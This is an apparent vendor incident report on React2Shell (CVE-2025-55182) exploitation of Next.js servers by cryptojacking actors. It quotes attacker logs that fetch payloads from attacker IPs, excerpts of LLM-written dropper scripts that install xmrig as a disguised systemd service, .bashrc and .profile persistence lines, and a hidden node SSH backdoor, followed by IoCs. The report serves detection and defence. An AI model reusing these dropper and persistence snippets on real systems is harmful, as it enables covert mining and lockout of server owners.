The Anatomy of a React2Shell Compromise
Analysis of React Server Components RCE vulnerability (CVE-2025-55182) exploitation leading to cryptojacking campaigns targeting Next.JS applications
React2Shell POC Seeds Global Exploitation
On December 3rd, React issued a Security Advisory CVE-2025-55182 stating that an RCE vulnerability was present in versions 19.0, 19.1.0, 19.1.1, and 19.2.0 of the following packages:
- react-server-dom-webpack
- react-server-dom-parcel
- react-server-dom-turbopack
At the same time, Next.JS, a popular Javascript framework, released a Security Advisory for CVE-2025-66478, rated 10.0 CVSS, because Next.JS uses these packages. The affected versions of Next.JS were:
15.x16.x- also affecting experimental canary releases starting with
14.3.0-canary.77.
For more information, please check the security advisories from Github for respective projects:
- https://github.com/vercel/next.js/security/advisories/GHSA-9qr9-h5gf-34mp
- https://github.com/facebook/react/security/advisories/GHSA-fv66-9v8q-g76r
By Friday, December 4th, malicious scanners were already seeking vulnerable servers for exploit opportunities of React.js, a widely used open-source front-end JavaScript library for building user interfaces. It is a popular library maintained by Meta. A patch was pushed for the library on Dec 3rd by the React team to address CVE-2025-55182, "a security vulnerability in React that allows unauthenticated remote code execution by exploiting a flaw in how React decodes payloads sent to React Server Function endpoints". The original PoC can be found here and more info about this vulnerability can be found here.
Unfortunately, some of this scanning led to exploited sites, and we responded to several of these incidents. Essentially, we witnessed and disrupted some hastily packaged and deployed cryptojacking components. It is notable that recent mass exploitation attempts on misconfigured web hosting environments have also led to cryptojacking activity, as reported by Wiz in July 2025. In one particular case, simplified Chinese is used throughout their custom scripts, and several of the staging servers are hosted on Alibaba networks. That and some privately shared data leaves us with medium confidence that some of the participants are Chinese-speaking. Several artifacts suggest these attackers were "AI-assisted", and they used ChatGPT for their script development as well.
Reportedly, other vendors have seen CN-APT exploitation efforts from groups like DiceyF/EarthBerberoka / Jackpot Panda, but this activity is targeted.
Analysis of a real compromised server
The attack starts by checking the web server for vulnerable React Server Components. Since it's a POST request, the payload is not logged in default web server configurations.
The first probes arrive at the targeted server 05/Dec/2025:06:51:34 UTC:
46.36.37.85 - - [05/Dec/2025:06:51:34 +0000] "POST / HTTP/1.1" 301 178 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 Assetnote/1.0.0" 46.36.37.85 - - [05/Dec/2025:06:51:37 +0000] "POST / HTTP/1.1" 301 178 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 Assetnote/1.0.0" 46.36.37.85 - - [05/Dec/2025:06:51:59 +0000] "POST / HTTP/1.1" 499 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 Assetnote/1.0.0"
We checked logs for the vulnerable Next.JS application, and observed reconnaissance records and RCE command records:
=> Initial recon ⨯ [Error: uid=1001(REDACTED) gid=1001(REDACTED) groups=1001(REDACTED),27(sudo) ] { digest: '1283222767' } => First payload --2025-12-05 06:51:54-- http://46.36.37.85:12000/sex.sh Connecting to 46.36.37.85:12000... connected. HTTP request sent, awaiting response... 200 OK Length: 1621 (1.6K) [application/x-sh] Saving to: 'sex.sh' [...] 2025-12-05 06:51:55 (246 MB/s) - 'sex.sh' saved [1621/1621] ⨯ [Error: Connection closed.] { digest: '1943553112' } => Initial recon, again ⨯ [Error: uid=1001(REDACTED) gid=1001(REDACTED) groups=1001(REDACTED),27(sudo) ] { digest: '1283222767' } ⨯ [TypeError: Cannot read properties of undefined (reading 'aa')] { digest: '434389542' } --2025-12-05 10:58:18-- http://43.247.134.215:8998/nginx3 Connecting to 43.247.134.215:8998... connected. HTTP request sent, awaiting response... 200 OK Length: 10466776 (10.0M) [application/octet-stream] Saving to: '/tmp/nginx3' [...]
Timeline of the attack
| Date | Location / Command | Files Size | SHA256 | Compile Time / Web Server (UTC) |
|---|---|---|---|---|
2025-12-05 06:51:34 | id command => uid=1001(REDACTED) gid=1001(REDACTED) groups=1001(REDACTED),27(sudo) | |||
2025-12-05 06:51:37 | hxxp://46.36.37.85:12000/sex.sh | 1 KB | 5bae25736a09de5f4a0f9761d2b7bfa81ca8dba39de2a724473c9d021a65daa9 | Dec 5 06:51 |
2025-12-05 06:51:59 | id command => uid=1001(REDACTED) gid=1001(REDACTED) groups=1001(REDACTED),27(sudo) | |||
2025-12-05 10:58:18 | hxxp://43.247.134.215:8998/nginx3 | 10MB | 69f2789a539fc2867570f3bbb71102373a94c7153239599478af84b9c81f2a03 | Dec 5 08:31 |
2025-12-05 11:35:01 | hxxp://39.97.229.220:8006/httd - Error from C2: Read error at byte 146248/5435392 (Connection timed out). Retrying. | |||
2025-12-05 11:52:09 | hxxp://39.97.229.220:8006/httd - Error from C2: Read error at byte 146248/5435392 (Connection timed out). Retrying. | |||
2025-12-05 12:07:35 | hxxp://39.97.229.220:8006/httd | 1 MB | 9959ee0d49894fe9e3d753bf8847f522bafec4f7c644ead5648d18e9d32de252 | Dec 5 12:13 |
2025-12-05 16:46:28 | hxxp://47.84.113.198:8000/tmp | 5 MB | e76f54b7b98ba3a08f39392e6886a9cb3e97d57b8a076e6b948968d0be392ed8 | Dec 5 16:22 |
2025-12-05 19:21:29 | hxxp://43.247.134.215:8998/nginx3 - Re-infection attempt | |||
2025-12-05 22:40:17 | hxxp://xpertclient.net:3000/sex.sh | 5 KB | ba43e447e63611d365300bf2e8e43ccb02ea112778d0d555ef9a9ccf6169808b | Dec 5 22:40 |
Operator access after initial compromise
The first file (5bae25736a09de5f4a0f9761d2b7bfa81ca8dba39de2a724473c9d021a65daa9) downloads the xmrig binary from github, checks if root privileges (uid 0) are present for the current user, and sets up a systemd unit with the name system-update-service. This service will execute xmrig with the attacker-provided arguments. If it can't setup a systemd unit to start xmrig, it falls back to the following logic:
# Attempt systemd setup [...] INSTALLED_SYSTEMD=0 if [ "$(id -u)" -eq 0 ] && command -v systemctl >/dev/null 2>&1; then echo "Root privileges detected. Attempting systemd setup..." SERVICE_FILE="/etc/systemd/system/${SERVICE_NAME}.service" cat <<EOF > "$SERVICE_FILE" [Unit] Description=System Update Service After=network.target [Service] Type=simple ExecStart=${BINARY_PATH} ${ARGS} Restart=always RestartSec=10 User=root [Install] WantedBy=multi-user.target EOF systemctl daemon-reload systemctl enable "$SERVICE_NAME" systemctl start "$SERVICE_NAME" if systemctl is-active --quiet "$SERVICE_NAME"; then echo "Service started via systemd." INSTALLED_SYSTEMD=1 fi fi # Fallback to nohup if [ $INSTALLED_SYSTEMD -eq 0 ]; then echo "Starting with nohup..." nohup "$BINARY_PATH" $ARGS >/dev/null 2>&1 & fi
The 69f2789a539fc2867570f3bbb71102373a94c7153239599478af84b9c81f2a03 file is an xmrig miner, first seen ITW on 2025-12-05.
The 9959ee0d49894fe9e3d753bf8847f522bafec4f7c644ead5648d18e9d32de252 sample is fresh, not on VT, and was downloaded on the infected VM on 2025-12-05 at 12:13.
-rw-r--r-- 1 REDACTED REDACTED 1304648 Dec 5 12:13 httd
On 2025-12-05 22:40:17, while trying to reinfect the machine, attackers downloaded a different file with the same name sex.sh (hash ba43e447e63611d365300bf2e8e43ccb02ea112778d0d555ef9a9ccf6169808b), but with improvements:
It was using different paths, depending on whether the script was running under uid 0 or not:
# Determine binary path based on privileges if [ "$(id -u)" -eq 0 ]; then INSTALL_DIR="/usr/share/updater" CONFIG_FILE="$INSTALL_DIR/miner.conf" else INSTALL_DIR="$(pwd)" CONFIG_FILE="$(pwd)/miner.conf" fi BINARY_PATH="$INSTALL_DIR/$EXTRACT_DIR/xmrig"
The script also checks if the miner is already deployed on the target system, and loads the current config instead of generating a fresh one:
# Check if already installed ALREADY_INSTALLED=0 if [ -f "$BINARY_PATH" ]; then ALREADY_INSTALLED=1 echo "[*] Installation detected. Loading existing configuration..." load_config fi # Download and setup if not already present if [ ! -f "$BINARY_PATH" ]; then echo "[*] Downloading xmrig..." # Extract in temp location first TEMP_DIR=$(mktemp -d) cd "$TEMP_DIR" curl -L -o "$TAR_FILE" --user-agent "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36" https://github.com/xmrig/xmrig/releases/download/v6.24.0/xmrig-6.24.0-linux-static-x64.tar.gz echo "[*] Extracting archive..." tar xvzf "$TAR_FILE"
It also attempts to inject itself into systemd for new installations only:
# Attempt systemd setup (for new installations) if [ $ALREADY_INSTALLED -eq 0 ]; then INSTALLED_SYSTEMD=0 if [ "$(id -u)" -eq 0 ] && command -v systemctl >/dev/null 2>&1; then echo "[*] Root privileges detected. Attempting systemd setup..."
All these changes make us believe that in the span of 18 hours, between the first download of the file sex.sh and the 2nd attempt to fetch the same filename, the attackers improved their tools kit in order to more reliably process same-host reinfections.
| First file | Second file | |
|---|---|---|
| Hash | 5bae25736a09de5f4a0f9761d2b7bfa81ca8dba39de2a724473c9d021a65daa9 | ba43e447e63611d365300bf2e8e43ccb02ea112778d0d555ef9a9ccf6169808b |
| Date | 2025-12-05 06:51 UTC | 2025-12-05 22:40 UTC |
| Size | 1621 Bytes | 5014 Bytes |
Further analysis shows that both of these files have been created using LLMs, like ChatGPT or Claude, due to the way comments are placed, as well as the code quality.
So far, we believe this threat actor was leveraging these files in order to install cryptominers on infected servers. And we see CobaltStrike beacons as a part of their toolkit as well.
Other cluster of files
The following files have been forensically collected from the same infected VM, but probably they belong to other threat actor groups. As they increasingly scan for vulnerable applications, we're seeing a growing variety of malicious payloads deployed such as:
solrc-67aea5b0ffceacaa932c47b3cddd527d393856fa900a19a225afe9203ce005e0-2,263 KB–Saved on Dec 6 15:54 UTC- 64 bit ELF executable, first seen on VT2025-12-06 15:03:55 UTC- 2/62 detectionssolrz-466a46ed4f80ef12d2e2ba1c8014315a4aa33483135386af57bec5d6a57a8359-2,263 KB-Saved on Dec 7 14:22 UTC- 64 bit ELF executable, first seen on VT2025-12-07 22:19:12 UTC- UPX packed - 2/62 detections/tmp/fghgf-0c748b9e8bc6b5b4fe989df67655f3301d28ef81617b9cbe8e0f6a19d4f9b657-8,334 KB-Saved on Dec 7 14:42 UTC- 64 bit ELF executable - xmrig miner/tmp/.system-609e5af9394e68d96a8a906a893d0544e39f4b88e15f3b4131494c1f1b278b6f-5,790 KB-Saved on Dec 6 16:28- 64 bit ELF executable, not seen on VT
Other locations where sample 69f2789a539fc2867570f3bbb71102373a94c7153239599478af84b9c81f2a03 was saved:
/home/REDACTED/.cache/systemd/.systemd-resolve /home/REDACTED/.local/share/systemd/.polkitd /home/REDACTED/.local/share/gvfs-metadata/.accounts-daemon /home/REDACTED/.local/share/gvfs-metadata/.dbus-daemon /home/REDACTED/.local/share/gvfs-metadata/.snapd /home/REDACTED/.local/share/systemd/.systemd-update
Maintaining persistence
Systemd Units
Attackers set up multiple systemd instances in order to maintain persistence, using folder /home/REDACTED/.config/systemd/user/ as well as folder /home/REDACTED/.config/autostart/
root@REDACTED:/home/REDACTED/.config/systemd/user# ls -1 17192e6442d4.service 3c7a79304943.service 55e90473a36e.service 88da066ffb3c.service default.target.wants s.service
The file contents for the first 4 files are identical:
#cat 17192e6442d4.service [Unit] Description=User Application Service After=network.target [Service] Type=simple ExecStart=/home/REDACTED/.local/share/.r0qsv8h1/.394ly8v9/bin/node /home/REDACTED/.local/share/.r0qsv8h1/.fvq2lzl64e.js Restart=always RestartSec=30 Environment=DISPLAY=:0 [Install] WantedBy=default.target
While s.service contains:
# cat s.service [Unit] After=network.target [Service] ExecStart=/home/REDACTED/.cache/.sys/xmrig -c /home/REDACTED/.cache/.sys/c.json Restart=always RestartSec=60 [Install] WantedBy=default.target
Shell Injection
In order to keep running the xmrig binary, attackers added the following commands at the end of .bashrc and .profile for the currently compromised user:
cat ~/.bashrc [...] # System (nohup /home/REDACTED/.local/share/.r0qsv8h1/.394ly8v9/bin/node /home/REDACTED/.local/share/.r0qsv8h1/.fvq2lzl64e.js >/dev/null 2>&1 &) 2>/dev/null (pgrep -f "/home/REDACTED/.cache/.sys/xmrig" || cd "/home/REDACTED/.cache/.sys" && ./xmrig -c c.json > /dev/null 2>&1 &) &
cat ~/.profile # App (/home/REDACTED/.local/share/.r0qsv8h1/.394ly8v9/bin/node /home/REDACTED/.local/share/.r0qsv8h1/.fvq2lzl64e.js >/dev/null 2>&1 &) 2>/dev/null (pgrep -f "/home/REDACTED/.cache/.sys/xmrig" || cd "/home/REDACTED/.cache/.sys" && ./xmrig -c c.json > /dev/null 2>&1 &) &
This configuration meant that at every user login the miner would be started, but it also kicked out the user from their SSH session after 5 seconds, basically locking them out of their VM.
The pgrep command searches for processes running using the pattern /home/REDACTED/.cache/.sys/xmrig and if no process exists, it executes ./xmrig with the following config:
cat c.json [...] "pools": [ { "algo": null, "coin": null, "url": "pool.hashvault.pro:443", "user": "REDACTED", "pass": "REDACTED", "rig-id": "REDACTED", "nicehash": false, "keepalive": true, "enabled": true, "tls": true, "sni": false, "tls-fingerprint": null, "daemon": false, "socks5": null, "self-select": null, "submit-to-origin": false } ], [...]
The curious case of .r0qsv8h1/.394ly8v9/ folder
As discussed in the above chapter, one of the commands that is executed at every user login is
/home/REDACTED/.local/share/.r0qsv8h1/.394ly8v9/bin/node /home/REDACTED/.local/share/.r0qsv8h1/.fvq2lzl64e.js
Clearly /home/REDACTED/.local/share/.r0qsv8h1/.394ly8v9/bin/ is the location of a hidden, attacker-controlled node installation. Initially we didn't understand why the attackers would set up their own node folder, until we checked the installed packages:
/home/REDACTED/.local/share/.r0qsv8h1/.394ly8v9/bin/npm -- prefix=/home/REDACTED/.local/share/.r0qsv8h1/.394ly8v9 list -g --depth=0 /home/REDACTED/.local/share/.r0qsv8h1/.394ly8v9/lib ├── corepack@0.22.0 ├── mysql2@3.15.3 ├── npm@10.2.3 ├── ssh2@1.17.0 └── tedious@19.1.3
tedious and mysql are Node MySQL clients, while ssh2 is a Node implementation of SSH client and server. Checking the folder .r0qsv8h1 shows us the following files:
/home/REDACTED/.local/share/.r0qsv8h1# file .* .394ly8v9: directory .9de6fc: ASCII text, with no line terminators .b0rtqscrkeov: encrypted file - Possible OpenGPG private key .fvq2lzl64e.js: ASCII text, with very long lines (65536), with no line terminators .lauphhtqrg.js: ASCII text, with very long lines (18632), with no line terminators
The 2 obfuscated JS files have the following hashes:
dd630c880e628fde6018d2d6a276007d01de7e6c7d46e10000231f4a35cf0f9e .fvq2lzl64e.js 9674bf61fc78daf4eec4e378df3f746ddccf532de5609e278ddcd02b98c24de1 .lauphhtqrg.js
which indicates that the attackers were running a parallel SSH server in order to maintain persistence on the server.
Global Investigations
In addition to the incident activity we were able to isolate and mitigate, we investigated activity on a broader scale and have some insights into a related group's activity and operations. Through collaboration with external sources, we were able to review some privately shared logs.
This group's backend platform (C2) setup began the last week of November 2025. After confirming proper configuration and setup, the C2 was down until 2025-12-04. Their first React2Shell victim hosts were obtained early 2025-12-05, and both were from a southeastern Asian nation hosting their servers in the Amazon cloud. Within minutes, these initial victim counts quickly turned into a dozen in Europe and the US, and then only a couple hours later dozens more. While not a terribly sophisticated group, it appears that they worked opportunistically with batches of targeted servers from around the globe in planned stages. They effectively deploy year-old Linux EoP exploits to obtain root privileges when necessary.
The majority of these dozens of victim hosts are geolocated within the US, South Asia, and Europe. Some of these commercial sites are large enterprises. Often these hosts are located within cloud services of major providers.
Interesting and notable features include the use of simplified Chinese throughout the backend platform, and QA and test boxes utilized from Alibaba networks hosted in China.
IoCs
0c748b9e8bc6b5b4fe989df67655f3301d28ef81617b9cbe8e0f6a19d4f9b657 129cfbfbe4c37a970abab20202639c1481ed0674ff9420d507f6ca4f2ed7796a 466a46ed4f80ef12d2e2ba1c8014315a4aa33483135386af57bec5d6a57a8359 5bae25736a09de5f4a0f9761d2b7bfa81ca8dba39de2a724473c9d021a65daa9 609e5af9394e68d96a8a906a893d0544e39f4b88e15f3b4131494c1f1b278b6f 67aea5b0ffceacaa932c47b3cddd527d393856fa900a19a225afe9203ce005e0 69f2789a539fc2867570f3bbb71102373a94c7153239599478af84b9c81f2a03 865d0bbf8b953ff317dd3aafde10d9fe0f95c2befd83b570c02ab802b177cda0 9674bf61fc78daf4eec4e378df3f746ddccf532de5609e278ddcd02b98c24de1 9959ee0d49894fe9e3d753bf8847f522bafec4f7c644ead5648d18e9d32de252 ba43e447e63611d365300bf2e8e43ccb02ea112778d0d555ef9a9ccf6169808b dd630c880e628fde6018d2d6a276007d01de7e6c7d46e10000231f4a35cf0f9e e76f54b7b98ba3a08f39392e6886a9cb3e97d57b8a076e6b948968d0be392ed8 39.97.229[.]220 43.247.134[.]215 45.76.155[.]14 45.157.233[.]80 46.36.37[.]85 47.84.113[.]198 192.9.245[.]121 193.34.213[.]150